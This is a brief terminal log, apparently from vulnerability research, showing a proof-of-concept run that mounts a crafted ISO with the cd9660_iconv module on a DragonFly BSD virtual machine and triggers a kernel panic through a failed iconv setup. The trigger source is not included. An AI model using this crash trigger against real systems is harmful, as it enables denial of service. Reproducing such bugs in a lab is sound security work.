(FULL untrimmed output of run 2 - second fresh boot after vm.sh reset with-src)
$ scp poc.iso trigger.c -> /root/
$ vnconfig -c -S 2048 /dev/vn0 /root/poc.iso && kldload libiconv && kldload cd9660_iconv && cc -O -o /root/trigger /root/trigger.c -I/usr/src/sys && mkdir -p /mnt/poc && echo STAGE2_OK
STAGE2_OK
$ /root/trigger
[+] mount succeeded with ISOFSMNT_KICONV and failed iconv_open (im_d2l == im_l2d == NULL)
[+] triggering namei under the mount ...
(ssh session dies - guest panicked)
$ dfbsd-qemu/vm.sh status
down